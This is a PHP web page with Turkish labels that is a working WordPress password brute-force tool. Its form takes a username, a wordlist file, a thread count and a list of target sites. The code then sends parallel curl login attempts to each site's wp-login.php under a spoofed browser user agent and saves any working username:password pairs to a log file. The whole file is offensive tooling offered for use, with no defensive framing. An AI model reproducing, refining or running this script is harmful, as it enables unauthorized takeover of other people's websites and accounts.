<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Wp Brute force</title>
<style type="text/css">
*{
background:url('../images/bg.gif') #111;
font-family: Lucida Console,Tahoma;
color:#bbb;
font-size:11px;
text-align:left;
}
input,select,textarea{
border:0;
border:1px solid #900;
color:#fff;
background:#000;
margin:0;
padding:2px 4px;
}
input:hover,textarea:hover,select:hover{
background:#200;
border:1px solid #f00;
}
option{
background:#000;
}
.red{
color:#f00;
}
.white{
color:#fff;
}
a{
text-decoration:none;
}
a:hover{
border-bottom:1px solid #900;
border-top:1px solid #900;
}
#status{
width:100%;
height:auto;
padding:4px 0;
border-bottom:1px solid #300;
}
#result a{
color:#777;
}
.sign{
color:#222;
}
#box{
margin:10px 0 0 0;
}
</style>
</head>
<?php flush(); ?>
<body><div id="copyright" class="container">
<table align="center" class="main">
<tr>
<td>
<div id="copyright2" class="container">
<p>
WP Brute Force <br><br>
<form method="post" action="">
<p>Kullanıcı Adı:
<input name="username" type="text" value="admin" maxlength="10" />
<p>Threads:
<select name=threads>
<option name=one value="1"> 1 </option>
<option name=two value="5" selected> 5 </option>
<option name=three value="10"> 10 </option>
<option name=four value="15"> 15 </option>
</select>
<p>WORDLIST Dosyası:
<input name="wordlist" type="text" value="wordlist.txt" maxlength="30" /> <br>
<p>Log:
<input type="text" name="log" id="textfield" value="wp_ok.txt" />
</tr></td></table>
<br />
<br />
<p>Siteleri Yaz :<br />
<textarea name="sites" cols="50" rows="20"></textarea>
<br />
<input class="container" name="submit" type="submit" value="Baslat " />
</form>
<br />
<br />
<br />
<p>By Ajanlar<br />
Ajanlar.org</p>
</div>
</div>
</body>
</html>
<?php
/*
* Wp Brute Force - By Ajanlar
* */
set_time_limit(0);
error_reporting(0);
function save_content($content, $file){
$fp = fopen($file, "a");
fwrite($fp, $content."\r\n");
fclose($fp);
flush();
}
function la_brute($url, $username, $wordlist, $thread, $log){
$multi = curl_multi_init();
$bol = array_chunk($wordlist,$thread);
$c = 1;
if(!preg_match('/http/', $url)) $url = 'http://'.$url;
echo 'Bruting '.$url.'<br>';
foreach($bol as $password){
for($i=0;$i<=count($password)-1;$i++){
$ch[$i] = curl_init();
curl_setopt($ch[$i], CURLOPT_URL, $url.'/wp-login.php');
curl_setopt($ch[$i], CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch[$i], CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6");
curl_setopt($ch[$i], CURLOPT_FOLLOWLOCATION, TRUE);
curl_setopt($ch[$i], CURLOPT_TIMEOUT, 10);
curl_setopt($ch[$i], CURLOPT_COOKIEJAR, 'nx.cookie');
curl_setopt($ch[$i], CURLOPT_POST, TRUE);
curl_setopt($ch[$i], CURLOPT_REFERER, $url.'/wp-admin/');
curl_setopt($ch[$i], CURLOPT_POSTFIELDS, 'log='.$username.'&pwd='.$password[$i].'&wp-submit=Log%20In&redirect_to='.$url.'/wp-admin/&testcookie=1');
curl_multi_add_handle($multi, $ch[$i]);
}do{
curl_multi_exec($multi, $handl);usleep(1);
}
while($handl>0);
foreach($ch as $ch_id => $output){
$result[$ch_id] = curl_multi_getcontent($output);
curl_multi_remove_handle($multi, $output);
if(preg_match('/general.php/si',$result[$ch_id])){
echo '<table align="center" class="main">';
echo '<tr>';
echo '<td><font color="#EE3B3B">[+] Bruted =><br></font></td>';
echo '<td>'.$url.' => '.$username.':'.$password[$ch_id].'<br>';
echo 'Saving to '.$log.'<br></td></tr></table>';
save_content("$url => $username:$password[$ch_id]", $log);
flush();
}
}
}
}
if($_POST){
if(!function_exists(curl_init)) die('<font color="red">[-] Not Curl HERE!<br></font>');
$username = trim($_POST['username']);
$thread = trim($_POST['threads']);
$wordlist = array_filter(file($_POST['wordlist']));
if(!is_file($_POST['wordlist'])) die('<font color="red">[-] File '.$_POST['wordlist'].' not found!</font><br>');
$log = trim($_POST['log']);
$urlz = array_filter(explode("\r\n", $_POST['sites']));
foreach($urlz as $url){
la_brute($url, $username, $wordlist, $thread, $log);
}
}
?>